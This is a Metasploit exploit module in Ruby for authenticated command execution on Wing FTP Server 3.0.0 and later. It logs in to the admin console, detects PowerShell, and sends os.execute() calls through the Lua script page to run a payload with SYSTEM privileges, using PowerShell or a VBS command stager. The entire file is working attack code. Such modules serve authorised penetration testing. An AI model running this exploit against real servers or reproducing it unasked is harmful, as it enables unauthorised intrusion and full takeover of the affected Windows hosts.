## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'Wing FTP Server Authenticated Command Execution', 'Description' => %q{ This module exploits the embedded Lua interpreter in the admin web interface for versions 3.0.0 and above. When supplying a specially crafted HTTP POST request an attacker can use os.execute() to execute arbitrary system commands on the target with SYSTEM privileges. }, 'Author' => [ 'Nicholas Nam ', 'Imran E. Dawoodjee ' # minor improvements ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://www.wftpserver.com'], ['URL', 'https://www.wftpserver.com/help/ftpserver/index.html?administrator_console.htm'] ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'Targets' => [ ['Wing FTP Server >= 3.0.0', {}] ], 'Privileged' => true, 'DisclosureDate' => '2014-06-19', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(5466), OptString.new('USERNAME', [true, 'Admin username', '']), OptString.new('PASSWORD', [true, 'Admin password', '']) ], self.class ) deregister_options('CMDSTAGER::FLAVOR') deregister_options('CMDSTAGER::DECODER') deregister_options('URIPATH') deregister_options('SRVHOST') deregister_options('SRVPORT') end @session_cookie = '' @version = '' @psh = false @vuln_check = false def check @session_cookie = authenticate(datastore['USERNAME'], datastore['PASSWORD']) if @session_cookie.nil? return CheckCode::Unknown end ver = send_request_cgi( 'uri' => '/admin_license.html', 'method' => 'POST', 'cookie' => @session_cookie, 'ctype' => 'text/plain;charset=UTF-8' ) unless ver vprint_error("Connection failed!") return CheckCode::Unknown end unless ver.code == 200 && ver.body.include?('Wing FTP Server') return CheckCode::Safe end @version = Rex::Version.new(ver.body.scan(/Wing FTP Server ([\d\.]+)/).flatten.first) print_status("Found Wing FTP Server #{@version}") # Lua capabilities and administrator console were added in version 3.0.0, so everything above that is (probably) vulnerable unless @version >= Rex::Version.new('3.0.0') @vuln_check = false return CheckCode::Safe end @vuln_check = true winenv_path = execute_command("PATH") unless winenv_path vprint_error("Connection failed!") return CheckCode::Unknown end if winenv_path.code == 200 winenv_path.body.split(';').each do |path_val| if (/powershell/i) =~ path_val print_good("Found Powershell at #{path_val}") @psh = true end end else @psh = false end @vuln_check = false return CheckCode::Vulnerable end def exploit vprint_status("Authenticating...") unless [CheckCode::Vulnerable].include? check fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!') end if @psh == true print_status('Executing payload via PowerShell...') psh_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true) execute_command(psh_command) else if @version > Rex::Version.new('4.3.8') fail_with(Failure::NoTarget, "Version #{@version} detected and PowerShell not found, aborting exploit attempt!") end print_warning("PowerShell not found, will revert to CmdStager for payload delivery!") print_status("Sending payload...") # Execute the CmdStager, max length of the commands is ~1500 execute_cmdstager(flavor: :vbs, linemax: 1500) end end def execute_command(cmd,_opts = {}) # Wrap cmd with [[ ]] to prevent potential problems. if @vuln_check == true command = "print(os.getenv([[#{cmd}]]))" else command = "os.execute([[#{cmd}]])" end res = send_request_cgi( 'uri' => '/admin_lua_script.html', 'method' => 'POST', 'encode_params' => true, 'cookie' => @session_cookie, 'ctype' => 'text/plain;charset=UTF-8', 'vars_post' => { 'command' => command } ) unless res && res.code == 200 fail_with(Failure::Unknown, "#{peer} - Something went wrong.") end if @vuln_check return res end end def authenticate(username, password) res = send_request_cgi( 'uri' => '/admin_loginok.html', 'method' => 'POST', 'vars_post' => { 'username' => username, 'password' => password, 'username_val' => username, 'password_val' => password, 'submit_btn' => '+Login+' } ) unless res print_error("#{peer} - Admin login page was unreachable.") return nil end if res.code == 200 && res.body =~ /location='main.html\?lang=english';/ res.get_cookies.split(';').each do |cookie| cookie.split(',').each do |value| if value.split('=')[0] =~ /UIDADMIN/ vprint_good("Authentication successful, got session cookie #{value.split('=')[1]}") return res.get_cookies.split(';')[0] end end end end print_error("#{peer} - Authentication failed!") return nil end end